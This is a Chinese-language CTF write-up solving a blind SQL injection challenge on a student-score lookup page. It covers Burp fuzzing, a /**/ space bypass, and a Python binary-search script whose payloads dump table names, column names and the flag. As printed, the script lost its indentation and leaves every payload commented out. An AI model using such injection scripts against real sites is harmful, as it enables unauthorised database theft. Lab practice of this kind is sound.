题目分析
输入一些数字测试结果
题目是一个输入框
输入1,显示100分
输入2、3、4,都会出现一些奇奇怪怪的字符
输入0和其他数字,显示学生编号不存在
fuzz
burp抓包后传入intruder模块,设置变量,传入字典开始fuzz
结果:只有空格被过滤了
测试注入类型
分别输入:
1/**/and/**/1 (结果:100分)
1/**/and/**/0 (结果:显示不存在)
页面只返回正确或错误的信息,可以用bool盲注
Python脚本
之前做别的题的时候留了大佬的二分法脚本,修改payload之后可用于此题
import requests
import time
url = 'http://cd82b63c-6c9a-46d7-8288-09fea5ba97f3.node5.buuoj.cn:81/?stunum='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "1/**/and/**/(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='flag')),%d,1))>%d)" % (i, tmp)
# 爆flag
# payload = "1/**/and/**/(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)" % (i, tmp)
r = requests.get(url + payload)
if 'admin' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2
flag += chr(tmp)
print(flag)
if begin == 32:
break
结果(flag不在fiag字段里!)